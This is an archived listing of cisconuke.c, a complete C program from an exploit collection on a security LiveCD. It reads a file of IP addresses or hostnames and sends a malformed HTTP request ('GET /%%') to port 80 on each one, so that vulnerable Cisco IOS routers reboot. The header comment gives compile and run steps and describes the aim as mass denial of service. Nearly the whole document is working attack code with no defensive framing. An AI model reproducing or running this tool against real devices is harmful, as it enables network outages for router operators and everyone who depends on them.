home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / cisconuke.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  179 lines

  1. /*
  2.         -   PRIVATE        Do NOT distribute       PRIVATE   -
  3.  
  4.    Cisco IOS deficiency (web-server interface) allows an arbitrary
  5.    router to be rebooted.
  6.  
  7.    1. Create an IP address list (or hostnames).
  8.    2. gcc -o cisconuke cisconuke.c
  9.    3. ./cisconuke ip-address-list
  10.    4. If the target's a Cisco with open TCP/80, it goez b00m.
  11.  
  12.    We use a timeout because, in the event that a host resolves but is
  13.    down, waiting for ETIMEDOUT would slow your DOSing down. Adjust if
  14.    necessary (slow links etc).
  15.  
  16.    Comment out the VERBOSE #define if you don't want to see what's 
  17.    happening.
  18.  */
  19.  
  20. #define VERBOSE
  21. #define TIMEOUT               10
  22.  
  23. #include <stdio.h>
  24. #include <stdlib.h>
  25. #include <unistd.h>
  26. #include <string.h>
  27. #include <signal.h>
  28. #include <setjmp.h>
  29. #include <sys/types.h>
  30. #include <sys/socket.h>
  31. #include <sys/time.h>
  32. #include <netinet/in.h>
  33. #include <arpa/inet.h>
  34. #include <netdb.h>
  35.  
  36. sigjmp_buf env;
  37.  
  38. u_long
  39. resolve_host(u_char *host)
  40. {
  41.   struct in_addr addr;
  42.   struct hostent *host_ent;
  43.  
  44.   if ((addr.s_addr = inet_addr(host)) == -1)
  45.     {
  46.       host_ent = gethostbyname(host);
  47.       if (!host_ent) return((u_long)0);
  48.       memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
  49.     }
  50.  
  51.   return(addr.s_addr);
  52. }
  53.  
  54. void
  55. net_timeout(void)
  56. {
  57.   alarm(0);
  58.   siglongjmp(env, 1);
  59. }
  60.  
  61. int
  62. nuke_cisco(u_long dst_ip)
  63. {
  64.   struct sockaddr_in sin;
  65.   u_char crash[] = "GET /\%\%\n\n";
  66.   int sock;
  67.  
  68.   alarm (0);
  69.  
  70.   sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  71.   if (sock == -1)
  72.     {
  73.       perror("socket allocation");
  74.       exit(-1);
  75.     }
  76.  
  77.   sin.sin_family = AF_INET;
  78.   sin.sin_port   = htons(80);
  79.   sin.sin_addr.s_addr = dst_ip;
  80.  
  81.   if (sigsetjmp(env, 1))
  82.     {
  83.       /* Timeout. */
  84.       close(sock);
  85.       return(-1);
  86.     }
  87.  
  88.   alarm(TIMEOUT);
  89.   signal(SIGALRM, (void *)net_timeout);
  90.  
  91.   if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
  92.     {
  93.       close(sock);
  94.       return(-1);
  95.     }
  96.  
  97.   alarm (0);
  98.  
  99.   if (write(sock, crash, strlen(crash)) != strlen(crash))
  100.     {
  101.       close(sock);
  102.       fprintf(stderr, "\nWarning: truncated write()\n");
  103.       return(-1);
  104.     }
  105.  
  106.   close(sock);
  107.   return(0);
  108. }
  109.  
  110. int
  111. main(int argc, char **argv)
  112. {
  113.   FILE *filez;
  114.   struct in_addr addr;
  115.   u_long dst_ip    = 0;
  116.   u_char host[255] = {0};
  117.   int nuked = 0, notnuked = 0;
  118.  
  119.   if (argc != 2)
  120.     {
  121.       fprintf(stderr, "\nusage:\t%s ip_list\n\n", argv[0]);
  122.       exit(-1);
  123.     }
  124.  
  125.   filez = fopen(argv[1], "r");
  126.   if (!filez)
  127.     {
  128.       fprintf(stderr, "Can't open IP address list file.\n");
  129.       exit(-1);
  130.     }
  131.  
  132.   while (fgets(host, sizeof(host) - 1, filez) > 0)
  133.     {
  134.       host[strlen(host) - 1] = 0;
  135.       host[strlen(host)    ] = 0;
  136.  
  137.       dst_ip = resolve_host(host);
  138.       if (dst_ip)
  139.         {
  140. #ifdef VERBOSE
  141.           addr.s_addr = dst_ip;
  142.           fprintf(stderr, "Resolved host `%s`, killing.. ", inet_ntoa(addr));
  143. #endif /* VERBOSE */
  144.  
  145.           if (!nuke_cisco(dst_ip))
  146.             {
  147. #ifdef VERBOSE
  148.               fprintf(stderr, "success.\n");
  149.               nuked++;
  150. #endif /* VERBOSE */
  151.             }
  152.           else
  153.             {
  154. #ifdef VERBOSE
  155.               fprintf(stderr, "can't connect to TCP/80\n");
  156.               notnuked++;
  157. #endif /* VERBOSE */
  158.             }
  159.         }
  160.       else
  161.         {
  162. #ifdef VERBOSE
  163.           fprintf(stderr, "Can't resolve %s\n", host);
  164.           notnuked++;
  165. #endif /* VERBOSE */
  166.         }
  167.  
  168.       memset(host, 0, sizeof(host));
  169.     }
  170.  
  171.   fprintf(stderr, "\nCompleted run:\n"
  172.           "Obtained a successful connection and sent crash: %d hosts.\n"
  173.           "No connection to port 80 or cannot resolve: %d hosts.\n\n",
  174.           nuked, notnuked);
  175.   exit(0);
  176. }
  177.  
  178.  
  179. /*                    www.hack.co.za           [19 May 2000]*/